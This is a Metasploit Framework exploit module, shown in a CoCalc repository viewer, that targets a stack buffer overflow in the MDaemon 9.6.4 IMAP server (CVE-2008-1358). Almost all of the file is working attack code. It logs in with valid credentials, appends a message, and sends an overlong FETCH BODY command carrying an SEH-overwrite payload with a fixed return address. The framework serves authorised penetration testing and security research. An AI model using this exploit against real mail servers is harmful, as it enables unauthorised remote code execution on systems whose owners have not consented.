Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mdaemon_fetch.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Imap
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
19
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
20
account credentials are required. Credit to Matteo Memelli
21
},
22
'Author' => [ 'Jacopo Cervini', 'aushack' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2008-1358' ],
26
[ 'OSVDB', '43111' ],
27
[ 'BID', '28245' ],
28
[ 'EDB', '5248' ]
29
],
30
'Privileged' => false,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'seh',
33
},
34
'Payload' => {
35
'Space' => 400,
36
'BadChars' => "\x00\x0a])",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
41
],
42
'DisclosureDate' => '2008-03-13',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
end
52
53
def check
54
connect
55
disconnect
56
57
if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
58
return Exploit::CheckCode::Appears
59
end
60
61
return Exploit::CheckCode::Safe
62
end
63
64
def exploit
65
connect_login
66
67
req0 = "0002 SELECT Inbox\r\n"
68
69
res = raw_send_recv(req0)
70
if (res and res =~ /0002 OK/)
71
print_status("SELECT command OK")
72
end
73
74
req1 = "0003 APPEND Inbox {1}\r\n"
75
76
res = raw_send_recv(req1)
77
if (res and res =~ /Ready for append literal/)
78
print_status("APPEND command OK")
79
end
80
81
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
82
if (res and res =~ /APPEND completed/)
83
print_status("APPEND command finished")
84
end
85
86
buf = rand_text_alpha_upper(528, payload_badchars)
87
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
88
89
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
90
91
print_status("Sending payload")
92
93
sock.put(sploit)
94
95
handler
96
disconnect
97
end
98
end
99
100